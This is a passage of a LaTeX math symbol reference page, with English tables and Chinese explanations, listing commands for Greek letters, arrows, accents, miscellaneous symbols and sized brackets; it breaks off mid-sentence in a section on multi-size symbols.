<table><thead><tr><th></th><th></th><th></th><th></th><th></th><th></th><th></th><th></th></tr></thead><tbody><tr><td>Capital Letters</td><td></td><td></td><td></td><td></td><td></td><td></td><td></td></tr><tr><td>Symbol</td><td>Command</td><td>Symbol</td><td>Command</td><td>Symbol</td><td>Command</td><td>Symbol</td><td>Command</td></tr><tr><td><span><span>Γ\Gamma</span><span><span><span></span><span>Γ</span></span></span></span></td><td><code>\Gamma</code></td><td><span><span>Δ\Delta</span><span><span><span></span><span>Δ</span></span></span></span></td><td><code>\Delta</code></td><td><span><span>Θ\Theta</span><span><span><span></span><span>Θ</span></span></span></span></td><td><code>\Theta</code></td><td><span><span>Λ\Lambda</span><span><span><span></span><span>Λ</span></span></span></span></td><td><code>\Lambda</code></td></tr><tr><td><span><span>Ξ\Xi</span><span><span><span></span><span>Ξ</span></span></span></span></td><td><code>\Xi</code></td><td><span><span>Π\Pi</span><span><span><span></span><span>Π</span></span></span></span></td><td><code>\Pi</code></td><td><span><span>Σ\Sigma</span><span><span><span></span><span>Σ</span></span></span></span></td><td><code>\Sigma</code></td><td><span><span>Υ\Upsilon</span><span><span><span></span><span>Υ</span></span></span></span></td><td><code>\Upsilon</code></td></tr><tr><td><span><span>Φ\Phi</span><span><span><span></span><span>Φ</span></span></span></span></td><td><code>\Phi</code></td><td><span><span>Ψ\Psi</span><span><span><span></span><span>Ψ</span></span></span></span></td><td><code>\Psi</code></td><td><span><span>Ω\Omega</span><span><span><span></span><span>Ω</span></span></span></span></td><td><code>\Omega</code></td><td></td><td></td></tr></tbody></table></section><section><h2>Arrows<a href="#arrows"><span>#</span></a></h2>

<table><thead><tr><th></th><th></th><th></th><th></th></tr></thead><tbody><tr><td>Symbol</td><td>Command</td><td>Symbol</td><td>Command</td></tr><tr><td><span><span>←\gets</span><span><span><span></span><span>←</span></span></span></span></td><td><code>\gets</code></td><td><span><span>→\to</span><span><span><span></span><span>→</span></span></span></span></td><td><code>\to</code></td></tr><tr><td><span><span>←\leftarrow</span><span><span><span></span><span>←</span></span></span></span></td><td><code>\leftarrow</code></td><td><span><span>⇐\Leftarrow</span><span><span><span></span><span>⇐</span></span></span></span></td><td><code>\Leftarrow</code></td></tr><tr><td><span><span>→\rightarrow</span><span><span><span></span><span>→</span></span></span></span></td><td><code>\rightarrow</code></td><td><span><span>⇒\Rightarrow</span><span><span><span></span><span>⇒</span></span></span></span></td><td><code>\Rightarrow</code></td></tr><tr><td><span><span>↔\leftrightarrow</span><span><span><span></span><span>↔</span></span></span></span></td><td><code>\leftrightarrow</code></td><td><span><span>⇔\Leftrightarrow</span><span><span><span></span><span>⇔</span></span></span></span></td><td><code>\Leftrightarrow</code></td></tr><tr><td><span><span>↦\mapsto</span><span><span><span></span><span>↦</span></span></span></span></td><td><code>\mapsto</code></td><td><span><span>↩\hookleftarrow</span><span><span><span></span><span>↩</span></span></span></span></td><td><code>\hookleftarrow</code></td></tr><tr><td><span><span>↼\leftharpoonup</span><span><span><span></span><span>↼</span></span></span></span></td><td><code>\leftharpoonup</code></td><td><span><span>↽\leftharpoondown</span><span><span><span></span><span>↽</span></span></span></span></td><td><code>\leftharpoondown</code></td></tr><tr><td><span><span>⇌\rightleftharpoons</span><span><span><span></span><span>⇌</span></span></span></span></td><td><code>\rightleftharpoons</code></td><td><span><span>⟵\longleftarrow</span><span><span><span></span><span>⟵</span></span></span></span></td><td><code>\longleftarrow</code></td></tr><tr><td><span><span>⟸\Longleftarrow</span><span><span><span></span><span>⟸</span></span></span></span></td><td><code>\Longleftarrow</code></td><td><span><span>⟶\longrightarrow</span><span><span><span></span><span>⟶</span></span></span></span></td><td><code>\longrightarrow</code></td></tr><tr><td><span><span>⟹\Longrightarrow</span><span><span><span></span><span>⟹</span></span></span></span></td><td><code>\Longrightarrow</code></td><td><span><span>⟷\longleftrightarrow</span><span><span><span></span><span>⟷</span></span></span></span></td><td><code>\longleftrightarrow</code></td></tr><tr><td><span><span>⟺\Longleftrightarrow</span><span><span><span></span><span>⟺</span></span></span></span></td><td><code>\Longleftrightarrow</code></td><td><span><span>⟼\longmapsto</span><span><span><span></span><span>⟼</span></span></span></span></td><td><code>\longmapsto</code></td></tr><tr><td><span><span>↪\hookrightarrow</span><span><span><span></span><span>↪</span></span></span></span></td><td><code>\hookrightarrow</code></td><td><span><span>⇀\rightharpoonup</span><span><span><span></span><span>⇀</span></span></span></span></td><td><code>\rightharpoonup</code></td></tr><tr><td><span><span>⇁\rightharpoondown</span><span><span><span></span><span>⇁</span></span></span></span></td><td><code>\rightharpoondown</code></td><td><span><span>⇝\leadsto</span><span><span><span></span><span>⇝</span></span></span></span></td><td><code>\leadsto</code></td></tr><tr><td><span><span>↑\uparrow</span><span><span><span></span><span>↑</span></span></span></span></td><td><code>\uparrow</code></td><td><span><span>⇑\Uparrow</span><span><span><span></span><span>⇑</span></span></span></span></td><td><code>\Uparrow</code></td></tr><tr><td><span><span>↓\downarrow</span><span><span><span></span><span>↓</span></span></span></span></td><td><code>\downarrow</code></td><td><span><span>⇓\Downarrow</span><span><span><span></span><span>⇓</span></span></span></span></td><td><code>\Downarrow</code></td></tr><tr><td><span><span>↕\updownarrow</span><span><span><span></span><span>↕</span></span></span></span></td><td><code>\updownarrow</code></td><td><span><span>⇕\Updownarrow</span><span><span><span></span><span>⇕</span></span></span></span></td><td><code>\Updownarrow</code></td></tr><tr><td><span><span>↗\nearrow</span><span><span><span></span><span>↗</span></span></span></span></td><td><code>\nearrow</code></td><td><span><span>↘\searrow</span><span><span><span></span><span>↘</span></span></span></span></td><td><code>\searrow</code></td></tr><tr><td><span><span>↙\swarrow</span><span><span><span></span><span>↙</span></span></span></span></td><td><code>\swarrow</code></td><td><span><span>↖\nwarrow</span><span><span><span></span><span>↖</span></span></span></span></td><td><code>\nwarrow</code></td></tr><tr><td><span><span>AB→\overrightarrow{AB}</span><span><span><span></span><span><span><span><span><span><span></span><span><span>A</span><span>B</span></span></span><span><span></span><span></span></span></span></span></span></span></span></span></span></td><td><code>\overrightarrow{AB}</code></td><td><span><span>AB←\overleftarrow{AB}</span><span><span><span></span><span><span><span><span><span><span></span><span><span>A</span><span>B</span></span></span><span><span></span><span></span></span></span></span></span></span></span></span></span></td><td><code>\overleftarrow{AB}</code></td></tr><tr><td><span><span>AB↔\overleftrightarrow{AB}</span><span><span><span></span><span><span><span><span><span><span></span><span><span>A</span><span>B</span></span></span><span><span></span><span><span></span><span></span></span></span></span></span></span></span></span></span></span></td><td><code>\overleftrightarrow{AB}</code></td><td></td><td></td></tr></tbody></table><blockquote><p>（如果你厌烦输入冗长的字符，可以使用 <code>\iff</code> 和 <code>\implies</code> 分别代替 <code>\Longleftrightarrow</code> 和 <code>\Longrightarrow</code>。）</p></blockquote></section><section><h2>Dots<a href="#dots"><span>#</span></a></h2>

<table><thead><tr><th></th><th></th><th></th><th></th></tr></thead><tbody><tr><td>Symbol</td><td>Command</td><td>Symbol</td><td>Command</td></tr><tr><td><span><span>⋅\cdot</span><span><span><span></span><span>⋅</span></span></span></span></td><td><code>\cdot</code></td><td><span><span>⋮\vdots</span><span><span><span></span><span><span>⋮</span><span></span></span></span></span></span></td><td><code>\vdots</code></td></tr><tr><td><span><span>…\dots</span><span><span><span></span><span>…</span></span></span></span></td><td><code>\dots</code></td><td><span><span>⋱\ddots</span><span><span><span></span><span>⋱</span></span></span></span></td><td><code>\ddots</code></td></tr><tr><td><span><span>⋯\cdots</span><span><span><span></span><span>⋯</span></span></span></span></td><td><code>\cdots</code></td><td></td><td><code>\iddots</code></td></tr></tbody></table></section><section><h2>Accents<a href="#accents"><span>#</span></a></h2>

<table><thead><tr><th></th><th></th><th></th><th></th><th></th><th></th></tr></thead><tbody><tr><td>Symbol</td><td>Command</td><td>Symbol</td><td>Command</td><td>Symbol</td><td>Command</td></tr><tr><td><span><span>x^\hat{x}</span><span><span><span></span><span><span><span><span><span><span></span><span>x</span></span><span><span></span><span><span>^</span></span></span></span></span></span></span></span></span></span></td><td><code>\hat{x}</code></td><td><span><span>xˇ\check{x}</span><span><span><span></span><span><span><span><span><span><span></span><span>x</span></span><span><span></span><span><span>ˇ</span></span></span></span></span></span></span></span></span></span></td><td><code>\check{x}</code></td><td><span><span>x˙\dot{x}</span><span><span><span></span><span><span><span><span><span><span></span><span>x</span></span><span><span></span><span><span>˙</span></span></span></span></span></span></span></span></span></span></td><td><code>\dot{x}</code></td></tr><tr><td><span><span>x˘\breve{x}</span><span><span><span></span><span><span><span><span><span><span></span><span>x</span></span><span><span></span><span><span>˘</span></span></span></span></span></span></span></span></span></span></td><td><code>\breve{x}</code></td><td><span><span>xˊ\acute{x}</span><span><span><span></span><span><span><span><span><span><span></span><span>x</span></span><span><span></span><span><span>ˊ</span></span></span></span></span></span></span></span></span></span></td><td><code>\acute{x}</code></td><td><span><span>x¨\ddot{x}</span><span><span><span></span><span><span><span><span><span><span></span><span>x</span></span><span><span></span><span><span>¨</span></span></span></span></span></span></span></span></span></span></td><td><code>\ddot{x}</code></td></tr><tr><td><span><span>xˋ\grave{x}</span><span><span><span></span><span><span><span><span><span><span></span><span>x</span></span><span><span></span><span><span>ˋ</span></span></span></span></span></span></span></span></span></span></td><td><code>\grave{x}</code></td><td><span><span>x~\tilde{x}</span><span><span><span></span><span><span><span><span><span><span></span><span>x</span></span><span><span></span><span><span>~</span></span></span></span></span></span></span></span></span></span></td><td><code>\tilde{x}</code></td><td><span><span>x˚\mathring{x}</span><span><span><span></span><span><span><span><span><span><span></span><span>x</span></span><span><span></span><span><span>˚</span></span></span></span></span></span></span></span></span></span></td><td><code>\mathring{x}</code></td></tr><tr><td><span><span>xˉ\bar{x}</span><span><span><span></span><span><span><span><span><span><span></span><span>x</span></span><span><span></span><span><span>ˉ</span></span></span></span></span></span></span></span></span></span></td><td><code>\bar{x}</code></td><td><span><span>x⃗\vec{x}</span><span><span><span></span><span><span><span><span><span><span></span><span>x</span></span><span><span></span><span><span></span></span></span></span></span></span></span></span></span></span></td><td><code>\vec{x}</code></td><td></td><td></td></tr></tbody></table><p>当为 i 和 j 添加重音符号时，可以使用 <code>\imath</code> 和 <code>\jmath</code>，以避免字母原本的点干扰重音符号的显示：</p>

<table><thead><tr><th></th><th></th><th></th><th></th></tr></thead><tbody><tr><td>Symbol</td><td>Command</td><td>Symbol</td><td>Command</td></tr><tr><td><span><span>ȷ⃗\vec{\jmath}</span><span><span><span></span><span><span><span><span><span><span></span><span></span></span><span><span></span><span><span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></td><td><code>\vec{\jmath}</code></td><td><span><span>ı~\tilde{\imath}</span><span><span><span></span><span><span><span><span><span><span></span><span></span></span><span><span></span><span><span>~</span></span></span></span></span></span></span></span></span></span></td><td><code>\tilde{\imath}</code></td></tr></tbody></table><p><code>\tilde</code> 和 <code>\hat</code> 命令拥有<strong>宽体版本</strong>，允许你对整个表达式（即包含多个字符）进行加注重音符号的操作：</p>

<table><thead><tr><th></th><th></th><th></th><th></th></tr></thead><tbody><tr><td>Symbol</td><td>Command</td><td>Symbol</td><td>Command</td></tr><tr><td><span><span>7+x^\widehat{7+x}</span><span><span><span></span><span><span><span><span><span><span></span><span><span>7</span><span></span><span>+</span><span></span><span>x</span></span></span><span><span></span><span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></td><td><code>\widehat{7+x}</code></td><td><span><span>abc~\widetilde{abc}</span><span><span><span></span><span><span><span><span><span><span></span><span><span>ab</span><span>c</span></span></span><span><span></span><span></span></span></span></span></span></span></span></span></span></td><td><code>\widetilde{abc}</code></td></tr></tbody></table></section><section><h2>Others<a href="#others"><span>#</span></a></h2>

<table><thead><tr><th></th><th></th><th></th><th></th><th></th><th></th></tr></thead><tbody><tr><td>Symbol</td><td>Command</td><td>Symbol</td><td>Command</td><td>Symbol</td><td>Command</td></tr><tr><td><span><span>∞\infty</span><span><span><span></span><span>∞</span></span></span></span></td><td><code>\infty</code></td><td><span><span>△\triangle</span><span><span><span></span><span>△</span></span></span></span></td><td><code>\triangle</code></td><td><span><span>∠\angle</span><span><span><span></span><span>∠</span></span></span></span></td><td><code>\angle</code></td></tr><tr><td><span><span>ℵ\aleph</span><span><span><span></span><span>ℵ</span></span></span></span></td><td><code>\aleph</code></td><td><span><span>ℏ\hbar</span><span><span><span></span><span>ℏ</span></span></span></span></td><td><code>\hbar</code></td><td><span><span>ı\imath</span><span><span><span></span><span></span></span></span></span></td><td><code>\imath</code></td></tr><tr><td><span><span>ȷ\jmath</span><span><span><span></span><span></span></span></span></span></td><td><code>\jmath</code></td><td><span><span>ℓ\ell</span><span><span><span></span><span>ℓ</span></span></span></span></td><td><code>\ell</code></td><td><span><span>℘\wp</span><span><span><span></span><span>℘</span></span></span></span></td><td><code>\wp</code></td></tr><tr><td><span><span>ℜ\Re</span><span><span><span></span><span>ℜ</span></span></span></span></td><td><code>\Re</code></td><td><span><span>ℑ\Im</span><span><span><span></span><span>ℑ</span></span></span></span></td><td><code>\Im</code></td><td><span><span>℧\mho</span><span><span><span></span><span>℧</span></span></span></span></td><td><code>\mho</code></td></tr><tr><td><span><span>′\prime</span><span><span><span></span><span>′</span></span></span></span></td><td><code>\prime</code></td><td><span><span>∅\emptyset</span><span><span><span></span><span>∅</span></span></span></span></td><td><code>\emptyset</code></td><td><span><span>∇\nabla</span><span><span><span></span><span>∇</span></span></span></span></td><td><code>\nabla</code></td></tr><tr><td><span><span>√\surd</span><span><span><span></span><span>√</span></span></span></span></td><td><code>\surd</code></td><td><span><span>∂\partial</span><span><span><span></span><span>∂</span></span></span></span></td><td><code>\partial</code></td><td><span><span>⊤\top</span><span><span><span></span><span>⊤</span></span></span></span></td><td><code>\top</code></td></tr><tr><td><span><span>⊥\bot</span><span><span><span></span><span>⊥</span></span></span></span></td><td><code>\bot</code></td><td><span><span>⊢\vdash</span><span><span><span></span><span>⊢</span></span></span></span></td><td><code>\vdash</code></td><td><span><span>⊣\dashv</span><span><span><span></span><span>⊣</span></span></span></span></td><td><code>\dashv</code></td></tr><tr><td><span><span>∀\forall</span><span><span><span></span><span>∀</span></span></span></span></td><td><code>\forall</code></td><td><span><span>∃\exists</span><span><span><span></span><span>∃</span></span></span></span></td><td><code>\exists</code></td><td><span><span>¬\neg</span><span><span><span></span><span>¬</span></span></span></span></td><td><code>\neg</code></td></tr><tr><td><span><span>♭\flat</span><span><span><span></span><span>♭</span></span></span></span></td><td><code>\flat</code></td><td><span><span>♮\natural</span><span><span><span></span><span>♮</span></span></span></span></td><td><code>\natural</code></td><td><span><span>♯\sharp</span><span><span><span></span><span>♯</span></span></span></span></td><td><code>\sharp</code></td></tr><tr><td><span><span>\\backslash</span><span><span><span></span><span>\</span></span></span></span></td><td><code>\backslash</code></td><td><span><span>□\Box</span><span><span><span></span><span>□</span></span></span></span></td><td><code>\Box</code></td><td><span><span>◊\Diamond</span><span><span><span></span><span>◊</span></span></span></span></td><td><code>\Diamond</code></td></tr><tr><td><span><span>♣\clubsuit</span><span><span><span></span><span>♣</span></span></span></span></td><td><code>\clubsuit</code></td><td><span><span>♢\diamondsuit</span><span><span><span></span><span>♢</span></span></span></span></td><td><code>\diamondsuit</code></td><td><span><span>♡\heartsuit</span><span><span><span></span><span>♡</span></span></span></span></td><td><code>\heartsuit</code></td></tr><tr><td><span><span>♠\spadesuit</span><span><span><span></span><span>♠</span></span></span></span></td><td><code>\spadesuit</code></td><td><span><span>⋈\Join</span><span><span><span></span><span>⋈</span></span></span></span></td><td><code>\Join</code></td><td><span><span>■\blacksquare</span><span><span><span></span><span>■</span></span></span></span></td><td><code>\blacksquare</code></td></tr><tr><td><span><span>©\copyright</span><span><span><span></span><span><span><span><span><span><span><span></span><span><span>c</span></span></span><span><span></span><span><span>◯</span></span></span></span></span></span></span></span></span></span></span></td><td><code>\copyright</code></td><td><span><span>XYZ⌣\underset{\smile}{XYZ}</span><span><span><span></span><span><span><span><span><span><span><span></span><span><span><span>⌣</span></span></span></span><span><span></span><span><span><span>X</span><span>Y</span><span>Z</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span></td><td><code>\underset{\smile}{XYZ}</code></td><td></td><td></td></tr><tr><td><span><span>ABC⌢\overset{\frown}{ABC}</span><span><span><span></span><span><span><span><span><span><span><span></span><span><span><span>A</span><span>B</span><span>C</span></span></span></span><span><span></span><span><span><span>⌢</span></span></span></span></span></span></span></span></span></span></span></span></td><td><code>\overset{\frown}{ABC}</code></td><td><span><span>∪\cup</span><span><span><span></span><span>∪</span></span></span></span></td><td><code>\cup</code></td><td></td><td></td></tr><tr><td><span><span>§\S</span><span><span><span></span><span>§</span></span></span></span></td><td><code>\S</code></td><td><span><span>¶\P</span><span><span><span></span><span>¶</span></span></span></span></td><td><code>\P</code></td><td><span><span>⊩\Vdash</span><span><span><span></span><span>⊩</span></span></span></span></td><td><code>\Vdash</code></td></tr><tr><td><span><span>£\pounds</span><span><span><span></span><span>£</span></span></span></span></td><td><code>\pounds</code></td><td><span><span>∈\in</span><span><span><span></span><span>∈</span></span></span></span></td><td><code>\in</code></td><td><span><span>⊨\vDash</span><span><span><span></span><span>⊨</span></span></span></span></td><td><code>\vDash</code></td></tr><tr><td><span><span>★\bigstar</span><span><span><span></span><span>★</span></span></span></span></td><td><code>\bigstar</code></td><td><span><span>  ⟹  \implies</span><span><span><span></span><span></span><span>⟹</span><span></span></span></span></span></td><td><code>\implies</code></td><td><span><span>LaTeX\LaTeX</span><span><span><span></span><span><span>L</span><span></span><span><span><span><span><span></span><span><span>A</span></span></span></span></span></span><span></span><span><span>T</span><span></span><span><span><span><span><span></span><span><span>E</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span><span></span><span>X</span></span></span></span></span></span></td><td><code>\LaTeX</code></td></tr><tr><td><span><span>□\square</span><span><span><span></span><span>□</span></span></span></span></td><td><code>\square</code></td><td><span><span>LaTeX\text{\LaTeX}</span><span><span><span></span><span><span><span>L</span><span></span><span><span><span><span><span></span><span><span>A</span></span></span></span></span></span><span></span><span><span>T</span><span></span><span><span><span><span><span></span><span><span>E</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span><span></span><span>X</span></span></span></span></span></span></span></td><td><code>\text{\LaTeX}</code></td><td></td><td></td></tr><tr><td></td><td><code>\smiley</code></td><td></td><td></td><td></td><td></td></tr><tr><td><span><span>R\mathbb{R}</span><span><span><span></span><span>R</span></span></span></span></td><td><code>\mathbb{R}</code></td><td></td><td></td><td></td><td></td></tr><tr><td><span><span>✓\checkmark</span><span><span><span></span><span>✓</span></span></span></span></td><td><code>\checkmark</code></td><td></td><td></td><td></td><td></td></tr><tr><td></td><td><code>\cancer</code></td><td></td><td></td><td></td><td></td></tr></tbody></table><blockquote><p><strong>注意：</strong> 在课堂（教学）环境下，<code>\smiley</code> 和 <code>\cancer</code> 命令是无效的/不起作用的。</p></blockquote></section><section><h2>Command Symbols<a href="#command-symbols"><span>#</span></a></h2><blockquote><p>有些符号用于命令中，因此需要特殊处理。</p></blockquote>

<table><thead><tr><th></th><th></th><th></th><th></th><th></th><th></th><th></th><th></th></tr></thead><tbody><tr><td>Symbol</td><td>Command</td><td>Symbol</td><td>Command</td><td>Symbol</td><td>Command</td><td>Symbol</td><td>Command</td></tr><tr><td><code>$</code></td><td><code>\$</code></td><td><code>&amp;</code></td><td><code>\&amp;</code></td><td><code>%</code></td><td><code>\%</code></td><td><code>#</code></td><td><code>\#</code></td></tr><tr><td><code>_</code></td><td><code>\_</code></td><td><code>{</code></td><td><code>\{</code></td><td><code>}</code></td><td><code>\}</code></td><td><code>\</code></td><td><code>\backslash</code></td></tr></tbody></table><blockquote><p>（警告：使用 $ 符号会导致错误。据我们所知，这是一个 bug。但具体问题可能因版本而异。）</p></blockquote></section><section><h2>European Language Symbols<a href="#european-language-symbols"><span>#</span></a></h2>

<table><thead><tr><th></th><th></th><th></th><th></th><th></th><th></th><th></th><th></th></tr></thead><tbody><tr><td>Symbol</td><td>Command</td><td>Symbol</td><td>Command</td><td>Symbol</td><td>Command</td><td>Symbol</td><td>Command</td></tr><tr><td></td><td><code>{\oe}</code></td><td></td><td><code>{\ae}</code></td><td></td><td><code>{\o}</code></td><td></td><td></td></tr><tr><td></td><td><code>{\OE}</code></td><td></td><td><code>{\AE}</code></td><td>Å</td><td><code>{\AA}</code></td><td></td><td><code>{\O}</code></td></tr><tr><td></td><td><code>{\l}</code></td><td></td><td><code>{\ss}</code></td><td>`!“</td><td>`!“</td><td></td><td></td></tr><tr><td></td><td><code>{\L}</code></td><td></td><td><code>{\SS}</code></td><td></td><td></td><td></td><td></td></tr></tbody></table></section><section><h2>Bracketing Symbols<a href="#bracketing-symbols"><span>#</span></a></h2><p>在数学中，有时我们需要用括号、花括号或圆括号将表达式括起来。其中一些符号在 LaTeX 中的用法与你想象的一样：输入 ( 和 ) 表示圆括号，[ 和 ] 表示方括号，| 和 | 表示绝对值。然而，其他一些符号则有特殊的命令：</p>

<table><thead><tr><th></th><th></th><th></th><th></th><th></th><th></th></tr></thead><tbody><tr><td>Symbol</td><td>Command</td><td>Symbol</td><td>Command</td><td>Symbol</td><td>Command</td></tr><tr><td><span><span>{\{</span><span><span><span></span><span>{</span></span></span></span></td><td><code>\{</code></td><td><span><span>}\}</span><span><span><span></span><span>}</span></span></span></span></td><td><code>\}</code></td><td><span><span>∣\vert</span><span><span><span></span><span>∣</span></span></span></span></td><td><code>\vert</code></td></tr><tr><td><span><span>\\backslash</span><span><span><span></span><span>\</span></span></span></span></td><td><code>\backslash</code></td><td><span><span>⌊\lfloor</span><span><span><span></span><span>⌊</span></span></span></span></td><td><code>\lfloor</code></td><td><span><span>⌋\rfloor</span><span><span><span></span><span>⌋</span></span></span></span></td><td><code>\rfloor</code></td></tr><tr><td><span><span>⌈\lceil</span><span><span><span></span><span>⌈</span></span></span></span></td><td><code>\lceil</code></td><td><span><span>⌉\rceil</span><span><span><span></span><span>⌉</span></span></span></span></td><td><code>\rceil</code></td><td><span><span>⟨\langle</span><span><span><span></span><span>⟨</span></span></span></span></td><td><code>\langle</code></td></tr><tr><td><span><span>⟩\rangle</span><span><span><span></span><span>⟩</span></span></span></span></td><td><code>\rangle</code></td><td></td><td></td><td></td><td></td></tr></tbody></table><p>您可能会注意到，如果您使用这些方法中的任何一种方法来排版垂直方向较大的表达式，例如</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>(\frac{a}{x} )^2</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>括号的大小不对：</p><span><span><span>(ax)2(\frac{a}{x})^2</span><span><span><span></span><span>(</span><span><span></span><span><span><span><span><span><span></span><span><span>x</span></span></span><span><span></span><span></span></span><span><span></span><span><span>a</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span><span>)</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span></span></span></span></span><p>如果在相关的括号前加上<code>\left</code>和<code>\right</code>，就​​能得到一个更简洁的表达式：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>\left(\frac{a}{x} \right)^2</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>给予</p><span><span><span>(ax)2\left(\frac{a}{x}\right)^2</span><span><span><span></span><span><span><span><span>(</span></span><span><span></span><span><span><span><span><span><span></span><span><span>x</span></span></span><span><span></span><span></span></span><span><span></span><span><span>a</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span><span>)</span></span></span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span></span></span></span></span><p>对于方程组或分段函数，请使用 cases 环境：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>f(x) = \begin{cases} x^2 &amp;\text{if } x \ge 0 \ x &amp;\text{if } x &lt; 0 \end{cases}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>这给出了</p><span><span><span>f(x)={x2,if x≥0,x,if x&lt;0.f(x)=\begin{cases}x^2,&amp;\text{if }x\ge0,\\x,&amp;\text{if }x&lt;0.\end{cases}</span><span><span><span></span><span>f</span><span>(</span><span>x</span><span>)</span><span></span><span>=</span><span></span></span><span><span></span><span><span><span>{</span></span><span><span><span><span><span><span><span><span></span><span><span><span>x</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span></span></span></span></span><span>,</span></span></span><span><span></span><span><span>x</span><span>,</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span><span><span><span><span><span><span></span><span><span><span>if </span></span><span>x</span><span></span><span>≥</span><span></span><span>0</span><span>,</span></span></span><span><span></span><span><span><span>if </span></span><span>x</span><span></span><span>&lt;</span><span></span><span>0.</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span><span></span></span></span></span></span></span><p>除了 <code>\left</code> 和 <code>\right</code> 命令之外，当对分数进行向下取整或向上取整运算时，使用</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>\left\lceil\frac{x}{y}\right\rceil</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>and <code>\left\lfloor\frac{x}{y}\right\rfloor</code></p><p>分别给出 <span><span>⌈xy⌉\left\lceil\frac{x}{y}\right\rceil</span><span><span><span></span><span><span><span>⌈</span></span><span><span></span><span><span><span><span><span><span></span><span><span><span>y</span></span></span></span><span><span></span><span></span></span><span><span></span><span><span><span>x</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span><span>⌉</span></span></span></span></span></span> 和 <span><span>⌊xy⌋\left\lfloor\frac{x}{y}\right\rfloor</span><span><span><span></span><span><span><span>⌊</span></span><span><span></span><span><span><span><span><span><span></span><span><span><span>y</span></span></span></span><span><span></span><span></span></span><span><span></span><span><span><span>x</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span><span></span></span><span><span>⌋</span></span></span></span></span></span> 两者。</p><p>而且，如果你输入这些</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>\underbrace{a_0+a_1+a_2+\cdots+a_n}_{x}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>给出</p><span><span><span>a0+a1+a2+⋯+an⏟x\underbrace{a_0+a_1+a_2+\cdots+a_n}_{x}</span><span><span><span></span><span><span><span><span><span><span></span><span><span><span>x</span></span></span></span><span><span></span><span><span><span><span><span><span></span><span><span></span><span></span><span></span></span></span><span><span></span><span><span><span>a</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>+</span><span></span><span><span>a</span><span><span><span><span><span><span></span><span><span>1</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>+</span><span></span><span><span>a</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>+</span><span></span><span>⋯</span><span></span><span>+</span><span></span><span><span>a</span><span><span><span><span><span><span></span><span><span>n</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span><p>或</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>\overbrace{a_0+a_1+a_2+\cdots+a_n}^{x}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>给出</p><span><span><span>a0+a1+a2+⋯+an⏞x\overbrace{a_0+a_1+a_2+\cdots+a_n}^{x}</span><span><span><span></span><span><span><span><span><span><span></span><span><span><span><span><span><span></span><span><span><span>a</span><span><span><span><span><span><span></span><span><span>0</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>+</span><span></span><span><span>a</span><span><span><span><span><span><span></span><span><span>1</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>+</span><span></span><span><span>a</span><span><span><span><span><span><span></span><span><span>2</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>+</span><span></span><span>⋯</span><span></span><span>+</span><span></span><span><span>a</span><span><span><span><span><span><span></span><span><span>n</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span><span><span></span><span><span></span><span></span><span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span><span></span><span><span><span>x</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span><p><code>\left</code> 和 <code>\right</code> 也可用于调整以下符号的大小：</p>

<table><thead><tr><th></th><th></th><th></th><th></th><th></th><th></th></tr></thead><tbody><tr><td>Symbol</td><td>Command</td><td>Symbol</td><td>Command</td><td>Symbol</td><td>Command</td></tr><tr><td><span><span>↑\uparrow</span><span><span><span></span><span>↑</span></span></span></span></td><td><code>\uparrow</code></td><td><span><span>↓\downarrow</span><span><span><span></span><span>↓</span></span></span></span></td><td><code>\downarrow</code></td><td><span><span>↕\updownarrow</span><span><span><span></span><span>↕</span></span></span></span></td><td><code>\updownarrow</code></td></tr><tr><td><span><span>⇑\Uparrow</span><span><span><span></span><span>⇑</span></span></span></span></td><td><code>\Uparrow</code></td><td><span><span>⇓\Downarrow</span><span><span><span></span><span>⇓</span></span></span></span></td><td><code>\Downarrow</code></td><td><span><span>⇕\Updownarrow</span><span><span><span></span><span>⇕</span></span></span></span></td><td><code>\Updownarrow</code></td></tr></tbody></table></section><section><h2>Multi-Size Symbols<a href="#multi-size-symbols"><span>#</span></a></h2><p>某些符号在行内数学模式和显示模式下的渲染方式不同。当您使用 <code>\[...\]</code> 或 <code>$$...$$</code>，或者使用类似 <code>\begin{equation}...\end{equation}</code> 或 <code>\begin{align}...\end{align}</code> 